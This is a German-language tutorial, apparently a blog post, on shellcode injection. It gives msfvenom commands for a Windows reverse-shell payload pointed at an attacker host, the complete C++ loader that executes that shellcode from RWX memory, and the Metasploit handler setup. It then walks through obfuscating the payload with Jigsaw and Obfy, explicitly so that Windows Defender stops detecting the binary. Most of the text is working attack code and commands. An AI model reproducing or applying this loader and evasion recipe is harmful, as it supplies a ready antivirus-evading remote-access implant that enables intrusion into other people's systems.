Shellcode Injection Teil 1

 

In dieser Beitragsreihe beschäftigen wir uns mit Shellcode, wie man
diesen in Prozesse einschleust und einigen Techniken zur Verschleierung
der Binärdateien. Im ersten Teil schauen wir uns an, wie man Shellcode
aus einem lokalen Prozess heraus ausführt. Zusätzlich verschleiern wir
das Programm so, dass der Defender es nicht mehr als Bedrohung erkennt.

Alle benötigten Dateien findet ihr im Github Repository

Shellcode generieren

Den Shellcode generieren wir mit msfvenom und nutzen folgende
Parameter:

ParameterBeschreibung
-p - Payloadx86 Reverse Shell
LHOSTIP des Angreifers
LPORTListening Port des Angreifers
-b - Bad CharsSpezielle Zeichen müssen wir rausfiltern, da sie den Shellcode unbenutzbar machen
-e - Encode ShellcodeWir enkodieren unseren Shellcode
-i - IterationsGibt die Anzahl der Enkodierungsvorgänge an
-f - FormatDie Ausgabe soll im C-Format sein
> shell.cSpeichere in die Datei shell.c
msfvenom -p windows/shell_reverse_tcp LHOST=172.23.61.130 LPORT=445 -e x86/shikata_ga_nai -i 8 -b '\x00\x0d\x0a' -f c > shell.c

C++ Injector

Wir erstellen uns ein neues C++ Projekt und fügen den Shellcode ein.
Zusätzlich brauchen wir die Größe der Bytes. Diese entnehmen wir der
msfvenom Ausgabe.

#include <stdio.h>
#include <Windows.h>
 
//shell.c
unsigned const char payload[] = 
"\xd9\xe9\xbb\x1b\x2c\xe5\xd6\xd9\x74\x24\xf4\x5a\x2b\xc9"
"\xb1\x81\x83\xc2\x04\x31\x5a\x14\x03\x5a\x0f\xce\x10\x6e"
"\xce\xb6\xb5\x28\xcb\x04\x90\x43\xcf\x7e\x78\x9f\xc6\xce"
"\x05\x5c\x33\xcc\xcb\x21\xd3\x2e\x6f\xb6\xd0\x7d\xda\xd1"
"\xaf\xa7\x1c\xd8\xfb\xa2\x94\xd6\xb1\xf3\x25\xe5\x3e\xdb"
"\x7d\x58\xb1\x51\x2d\x07\x37\x6d\x9b\x0b\xbe\x1c\x57\xcb"
"\x7f\x5d\x32\xd5\xd1\x71\x14\x2e\x07\xef\x45\x69\x0c\x3e"
"\x8d\xca\xb1\x7d\xc4\x07\x4f\xf7\xd8\xe8\x37\x33\xeb\x67"
"\xd8\x97\xb6\xf5\xbf\xde\xb3\xd9\x6a\xf1\x94\x7b\x68\x21"
"\xcc\xab\xda\xcd\xd1\x43\xef\x4e\x2a\x1d\xd1\xb7\xec\x24"
"\x62\x0b\xc5\x61\x48\xe2\x7c\x9e\x54\x9f\x2d\x8c\x38\x09"
"\x23\x13\xb2\x6d\x6f\xe8\xdc\xad\xe3\x99\x14\x89\xca\x07"
"\x67\xf2\x09\xdb\x2e\x38\x9f\x2c\xc4\x12\xf5\x18\x94\xf5"
"\xb1\xed\x84\x6f\xfe\xbb\x23\xf4\xae\x10\x62\x2f\x63\x2b"
"\x6a\x3c\x22\x7a\xd3\x96\x15\x99\xb0\x62\x38\xbe\x93\x1e"
"\x72\xcc\xe3\xef\xa9\x9a\xaa\xc9\xda\xd5\x09\xed\x4f\xb2"
"\x61\x18\x48\x9c\x0b\x45\xcb\xab\xaf\x91\x20\xc2\x66\x39"
"\xac\x66\xd2\x21\x83\x13\xb4\x12\xcb\x39\x55\x20\x19\xff"
"\xa3\x8b\xaa\x6e\x3e\x90\x31\x49\x19\x74\x7f\x1f\x89\xfe"
"\x89\xdd\x65\xa2\x5b\xa0\x13\xe4\x6b\x18\x99\xde\xfc\x63"
"\x9e\x9b\x7b\x6d\x65\x6d\xf4\x5b\x39\x08\x89\xb1\x85\xd8"
"\x6a\x29\x88\x5a\xdd\x14\x8e\xb9\xc0\xae\x63\x89\xbe\x13"
"\xa6\xf3\xc2\x19\xa8\x41\x5d\xf7\x11\x02\x45\xd3\xec\xa1"
"\x88\x13\x57\xb7\x0b\x7d\x79\x5a\x0c\x60\xde\x6b\x6c\x4c"
"\x61\xe3\x74\x88\xbd\x6a\xda\x43\xca\xb8\xe4\x07\xd4\x5a"
"\x92\x04\xd9\x18\xb0\x57\x8d\xf3\x87\x65\x56\x06\x21\xb3"
"\x02\x9b\xc4\x87\x56\xed\x6b\xef\xbb\x9f\x21\xbf\x7f\x12"
"\x4d\x3b\xdc\xf7\x4c\xc6\xf5\xe7\x30\x05\x87\x7f\x7c\x19"
"\x72\x86\x62\xc4\x7a\x8f\xd6\xc9\x19\xe8\x6e\xa7\x54\x04"
"\xd9\xbf\x94\x69\xeb\x41\x64\xac\xd5\xe4\x47\xfe\x5d\x2d"
"\x90\xf9\xea\x18\x62\x76\x01\xe6\xc3\xe5\xd6\xfa\x32\x22"
"\xc0\xf6\x86\x5f\x16\x3a\x4a\x1e\x59\xe3\x0c\x4b\x69\xd2"
"\x6d\x80\xef\x45\x49\xc2\x36\xe5\x78\x72\x55\xf3\x4d\xbe"
"\xbb\xac\x88\xcc\x8d\xcb\xc1\x6f\x40\xd7\x54\x7e\xa2\x5d"
"\xcc\x6a\xdc\x99\x59\x67\x84\xb4\x05\xba\x33\x43\x48\xb5"
"\x9b\x22\xa7\xc6\x06\xf6\x36\x3f\x4b\x29\xf8\x66\xa8\xfb"
"\x55\x5f\x07\xa4\xfd\x5f\x98\x69\x71\xcc\xb6\x2f\x6e\x9d"
"\xf1\xe6\x99\x70\x04\x05\x47\xb3\x1e\xe3\xb7\xa9\x6f\x42"
"\xb1\xda\xeb\x37\x61\x5e\x20\x23";
 
//size is given by msfvenom after shellcode creation
size_t size = 540;
 
int main(int argc, char** argv) { 
    char* code;    
    printf("#nosoc - expecttheunexpected");
    code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); 
    memcpy(code, payload, size); 
    ((void(*)())code)();
    return(0);
}

Shellcode analysieren

Nach dem Kompilieren, laden wir inject.exe im Debugger und schauen uns
den Shellcode genau an. Dies verschafft uns einen groben Überblick über
die Funktionsweise.

Metasploit vorbereiten

Nun starten wir einen Handler in Metasploit, der die Reverse-Shell
annimmt.

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lport 445
lport => 445
msf6 exploit(multi/handler) > set lhost 172.23.61.130
lhost => 172.23.61.130
msf6 exploit(multi/handler) > exploit
 
[*] Started reverse TCP handler on 172.23.61.130:445

Shellcode ausführen

Wir starten jetzt Inject.exe, betrachten die Ausgabe in Metasploit und
die Prozessdetails auf der Opfer-Maschine.

Unter dem Defender-Radar

Inject.exe wird natürlich recht einfach durch Antivirensoftware
erkannt. Wir müssen den Shellcode somit tarnen. Das machen wir mit dem
Tool jigsaw 1 und dem Framework Obfy.

Shellcode tarnen - Jigsaw

Zuerst erstellen wir den Shellcode im Raw Format:

msfvenom -p windows/shell_reverse_tcp LHOST=172.23.61.130 LPORT=445 -e x86/shikata_ga_nai -i 8 -b '\x00\x0d\x0a' -f raw > shell.raw

Dann übergeben wir diesen an Jigsaw:

python3 jigsaw.py shell.raw

und erhalten eine Datei mit C++ Code.

unsigned char jigsaw[540] = { 0x32, 0x87, 0xbe, 0x4b, 0x6c, 0xad, 0xc2, 0xd3, 0xd5, 0x21, 0x1c, 0x57, 0x93, 0xae, 0x39, 0x2c, 0x27, 0xce, 0xeb, 0x99, 0xa8, 0xf4, 0xbf, 0x14, 0x31, 0x2a,
...
401, 459, 65, 118, 356, 42, 182, 220 };
 
 
int calc_len = 540;
unsigned char calc_payload[540] = { 0x00 };
int position;
 
// Reconstruct the payload
for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) {
    position = positions[idx];
    calc_payload[position] = jigsaw[idx];
}
#include <stdio.h>
#include <Windows.h>
 
size_t size = 540;
 
unsigned char jigsaw[540] = { 0x32, 0x87, 0xbe, 0x4b, 0x6c, 0xad, 0xc2, 0xd3, 0xd5, 0x21, 0x1c, 0x57, 0x93, 0xae, 0x39, 0x2c, 0x27, 0xce, 0xeb, 0x99, 0xa8, 0xf4, 0xbf, 0x14, 0x31, 0x2a, 0xc5, 0xeb, 0x48, 0x11, 0xd8, 0x49, 0xf0, 0x93, 0x5b, 0xb9, 0x69, 0xf8, 0x73, 0x80, 0xe4, 0x3f, 0xa6, 0xa6, 0x3a, 0xf5, 0x56, 0x12, 0x7c, 0xe4, 0x72, 0xbb, 0x13, 0x5b, 0xc5, 0x40, 0xf0, 0x01, 0x6f, 0x0b, 0x35, 0xc2, 0x1c, 0x2d, 0x76, 0xeb, 0x9e, 0xd8, 0xd6, 0x39, 0x7c, 0x61, 0x7e, 0xc7, 0x16, 0x69, 0x0e, 0x1c, 0x78, 0xb0, 0xa3, 0x36, 0x5b, 0x6f, 0xbc, 0xa0, 0x2e, 0x63, 0xe4, 0x7f, 0xea, 0x13, 0x2c, 0xaa, 0x6c, 0xbf, 0xdb, 0x4a, 0x69, 0xaa, 0x4d, 0x71, 0xd6, 0x4c, 0x61, 0x65, 0x59, 0xc3, 0x5f, 0x43, 0xf3, 0x94, 0xdf, 0x59, 0x8d, 0xbb, 0x25, 0x8f, 0x6f, 0x17, 0x1d, 0xd7, 0xa1, 0xef, 0x9b, 0xe0, 0x31, 0x15, 0x36, 0xe2, 0x5c, 0xa5, 0x94, 0x60, 0x01, 0x2b, 0x08, 0x01, 0x9f, 0xa1, 0x14, 0x2b, 0x86, 0x1f, 0xbf, 0xd1, 0x0f, 0xbf, 0x03, 0x28, 0xc1, 0x10, 0x4d, 0x66, 0x32, 0xd0, 0xcb, 0x4e, 0x34, 0xdf, 0xeb, 0x99, 0xf2, 0x14, 0x3f, 0x4c, 0xf8, 0xed, 0xc1, 0xbd, 0x0e, 0x9b, 0xc1, 0x57, 0xd5, 0x1d, 0x01, 0xf5, 0x79, 0xd1, 0xc4, 0xea, 0xc0, 0xcf, 0x0c, 0xea, 0x05, 0x9d, 0x8c, 0x8d, 0x9a, 0x2d, 0x94, 0x5b, 0x05, 0xde, 0x37, 0xa6, 0x17, 0x80, 0x07, 0x83, 0x6a, 0x2d, 0xe4, 0xd5, 0xc3, 0x85, 0x71, 0x2a, 0xa4, 0x3d, 0xf6, 0x5c, 0xc8, 0x6c, 0x6a, 0x86, 0xf3, 0x5c, 0x67, 0x4d, 0xdc, 0x11, 0xff, 0x81, 0xce, 0x3b, 0x9c, 0x4d, 0x98, 0xe8, 0xd4, 0x6a, 0x3e, 0x4b, 0x51, 0xd5, 0x4c, 0xfc, 0xe4, 0x8e, 0x6a, 0xc1, 0x63, 0x54, 0x7f, 0x61, 0xa4, 0x42, 0x60, 0xb5, 0x4d, 0x92, 0xd9, 0x08, 0x22, 0x23, 0xbe, 0x82, 0x9f, 0x4c, 0xeb, 0x8c, 0x3a, 0x6e, 0x88, 0xd0, 0x5a, 0xe0, 0xae, 0x42, 0x38, 0x4d, 0x31, 0xd0, 0xe6, 0x72, 0x54, 0xb3, 0x2b, 0x8d, 0x2f, 0xca, 0x38, 0x92, 0xe6, 0x38, 0xfd, 0xa1, 0x9c, 0x70, 0xd0, 0xe5, 0xb5, 0xff, 0xe1, 0x0e, 0x81, 0x4a, 0xc5, 0x67, 0x57, 0x3a, 0x33, 0xa0, 0xc8, 0x7f, 0xe6, 0x6c, 0xf1, 0x77, 0x3d, 0xdd, 0x63, 0xa1, 0xf9, 0x4f, 0x99, 0xf1, 0x8a, 0xb3, 0x60, 0xf6, 0xae, 0x86, 0xd5, 0x3e, 0x61, 0xc4, 0x93, 0xd9, 0x2d, 0xbe, 0xe2, 0xf0, 0xec, 0x13, 0x85, 0x91, 0x8a, 0x95, 0x37, 0x9f, 0x41, 0x43, 0x3c, 0xda, 0x81, 0xb3, 0xf5, 0xa9, 0x5f, 0x3e, 0x06, 0x0e, 0x47, 0x03, 0x5e, 0x28, 0xec, 0x54, 0x9f, 0x95, 0xca, 0x59, 0xee, 0x9a, 0xd2, 0xe5, 0xa4, 0x32, 0xcf, 0xb9, 0xe5, 0xd8, 0x78, 0xe8, 0xb1, 0xa5, 0xee, 0xe5, 0x4e, 0x2c, 0x8b, 0xc3, 0x5b, 0x7d, 0x23, 0x18, 0x64, 0xda, 0x56, 0x59, 0xa9, 0x95, 0x6f, 0x9e, 0x9b, 0x3c, 0xcb, 0x2a, 0x54, 0x6a, 0x5c, 0x25, 0xf6, 0xc1, 0xf9, 0x5c, 0xab, 0xe5, 0xd0, 0x8b, 0xdd, 0xd0, 0x74, 0xda, 0x68, 0x09, 0x52, 0x25, 0xd0, 0xa9, 0xd1, 0xba, 0x9f, 0xcd, 0x41, 0x54, 0x15, 0x12, 0xba, 0xd2, 0xd5, 0xdd, 0x35, 0x76, 0xa8, 0x5a, 0xdc, 0xf0, 0xdb, 0xbd, 0x32, 0x47, 0x6d, 0x4b, 0x89, 0x17, 0xa1, 0x80, 0x46, 0x65, 0x51, 0x4b, 0xca, 0xeb, 0xa4, 0x0c, 0xd9, 0x3c, 0xf4, 0x1e, 0x39, 0xd4, 0x87, 0x91, 0x91, 0xbd, 0x75, 0x24, 0x7a, 0x7b, 0x79, 0x25, 0x7e, 0x2d, 0xc9, 0xd4, 0x73, 0x47, 0x05, 0xe4, 0xed, 0x24, 0x10, 0xbe, 0x15, 0xa5, 0xb0, 0x3a, 0x43, 0x9e, 0xc3, 0xef, 0x5d, 0x57, 0xfe, 0xeb, 0x75, 0x85, 0x11, 0xe7, 0x50, 0xc7, 0x9c, 0x6f, 0xe1, 0x7b, 0x63, 0xcb, 0xbe, 0x17, 0xeb, 0x1e, 0x34, 0x91, 0xf9, 0x50, 0xe5, 0x28, 0x74, 0x9f, 0x3e, 0xe0, 0xe8, 0x83, 0x36, 0xc0, 0x08, 0xcd, 0x8f, 0xa7, 0xb8, 0x32, 0xf4, 0x01, 0x96, 0xd2 };
 
int positions[540] = { 105, 216, 295, 137, 269, 55, 488, 354, 384, 2, 398, 471, 219, 72, 377, 123, 197, 188, 243, 161, 169, 79, 290, 454, 387, 527, 480, 412, 178, 329, 267, 441, 492, 416, 103, 196, 83, 275, 539, 26, 391, 125, 203, 59, 153, 76, 349, 402, 202, 142, 68, 1, 18, 288, 106, 62, 291, 281, 107, 365, 35, 223, 358, 117, 503, 427, 506, 181, 63, 408, 525, 176, 313, 23, 417, 311, 195, 89, 122, 522, 494, 170, 152, 20, 304, 227, 150, 29, 460, 319, 228, 312, 376, 36, 256, 24, 37, 320, 518, 514, 355, 443, 43, 64, 128, 483, 470, 462, 11, 224, 212, 75, 345, 465, 115, 110, 138, 380, 190, 333, 323, 501, 149, 455, 226, 209, 16, 361, 508, 54, 139, 232, 373, 370, 236, 207, 394, 238, 34, 532, 395, 531, 489, 177, 415, 453, 495, 155, 302, 318, 218, 330, 116, 242, 435, 346, 334, 154, 449, 475, 104, 464, 450, 292, 307, 126, 71, 482, 509, 258, 353, 348, 45, 372, 463, 485, 505, 414, 276, 86, 6, 298, 383, 347, 201, 409, 498, 478, 366, 331, 88, 134, 324, 95, 111, 397, 425, 51, 259, 315, 102, 22, 337, 237, 241, 82, 526, 444, 278, 120, 456, 273, 167, 419, 251, 484, 270, 423, 77, 211, 184, 375, 156, 473, 466, 15, 519, 407, 185, 92, 91, 523, 221, 49, 371, 338, 277, 516, 250, 143, 406, 147, 225, 515, 70, 252, 193, 367, 486, 504, 434, 440, 437, 350, 271, 282, 205, 166, 511, 248, 191, 404, 369, 279, 424, 336, 266, 90, 474, 533, 260, 389, 235, 151, 368, 457, 164, 436, 140, 468, 335, 386, 325, 213, 360, 41, 189, 538, 310, 200, 157, 421, 93, 287, 112, 280, 289, 528, 305, 73, 100, 231, 517, 165, 12, 136, 210, 496, 314, 244, 422, 58, 97, 426, 481, 96, 420, 530, 253, 439, 382, 309, 127, 46, 33, 113, 513, 390, 4, 222, 520, 27, 472, 284, 296, 192, 268, 21, 357, 306, 497, 130, 98, 163, 67, 80, 317, 467, 249, 99, 274, 493, 234, 438, 392, 217, 262, 19, 146, 160, 133, 124, 430, 114, 159, 186, 374, 174, 403, 411, 299, 447, 499, 158, 378, 148, 381, 458, 14, 78, 272, 264, 442, 109, 429, 255, 171, 246, 57, 162, 500, 535, 339, 198, 48, 84, 17, 145, 74, 431, 534, 294, 477, 461, 87, 206, 131, 328, 53, 388, 168, 293, 490, 359, 5, 362, 8, 129, 32, 239, 400, 510, 326, 183, 240, 405, 285, 173, 340, 135, 364, 50, 172, 537, 180, 132, 214, 141, 507, 47, 199, 343, 432, 108, 521, 229, 451, 28, 247, 101, 187, 303, 69, 418, 352, 342, 179, 265, 233, 61, 7, 31, 10, 263, 44, 283, 39, 410, 300, 0, 230, 9, 38, 445, 121, 119, 175, 399, 13, 208, 297, 479, 413, 81, 446, 316, 428, 452, 448, 385, 30, 322, 512, 487, 25, 286, 94, 66, 341, 476, 3, 351, 433, 469, 245, 52, 301, 396, 60, 40, 215, 332, 524, 344, 502, 363, 261, 491, 85, 536, 204, 308, 393, 529, 327, 254, 56, 321, 257, 194, 379, 144, 401, 459, 65, 118, 356, 42, 182, 220 };
 
 
int calc_len = 540;
unsigned char calc_payload[540] = { 0x00 };
int position;
 
int main(int argc, char** argv) { 
 
    char* code;    
 
    printf("#nosoc - expecttheunexpected");
 
    // Reconstruct the payload
    for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) {
        position = positions[idx];
        calc_payload[position] = jigsaw[idx];
    }
    code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); 
 
    memcpy(code, calc_payload, size); 
 
    ((void(*)())code)();
 
 
    return(0);
}

Jigsaw allein reicht an dieser Stelle jedoch nicht, da der Defender die
Datei immer noch erkennt.

Obfy - Verschleierung während des Kompilierens

Hier können wir das sogenannte Template Metaprogramming anwenden.
Hierbei werden Quellcode Dateien während des Kompiliervorgangs erzeugt,
welche die Binärdatei mit jedem Vorgang anders aussehen lässt. 23

Hierzu laden wir uns Obfy herunter,
binden die Headerdatei in unser Projekt ein und setzen die
Makroanweisungen, zum Starten und Beenden der Code-Verschleierung.

#include <stdio.h>
#include <Windows.h>
#include "instr.h"
 
size_t size = 540;
 
unsigned char jigsaw[540] = { ... };
 
int positions[540] = { ... };
 
int calc_len = 540;
unsigned char calc_payload[540] = { 0x00 };
int position;
 
int main(int argc, char** argv) { 
 
    char* code;    
 
    printf("#nosoc - expecttheunexpected");
 
    // Reconstruct the payload
        OBF_BEGIN
    for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) {
        position = positions[idx];
        calc_payload[position] = jigsaw[idx];
    }
        OBF_END
    code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); 
 
    memcpy(code, calc_payload, size); 
 
    ((void(*)())code)();
 
 
    return(0);
}

Ergebnis

Wir kompilieren unseren Code und prüfen mit ThreatCheck, ob unsere
Datei erkannt wird.

Repository

git clone https://github.com/psycore8/nosoc-shellcode

Ausblick

In Teil 2 beschäftigen wir uns damit den Shellcode in einen Remote
Prozess zu injecten.

Referenzen

https://www.ired.team/offensive-security/code-injection-process-injection/process-injection

Footnotes

  1. https://github.com/RedSiege/Jigsaw ↩

  2. https://0xpat.github.io/Malware_development_part_6/ ↩

  3. https://www.fo-sec.com/articles/10-defender-bypass-methods#3 ↩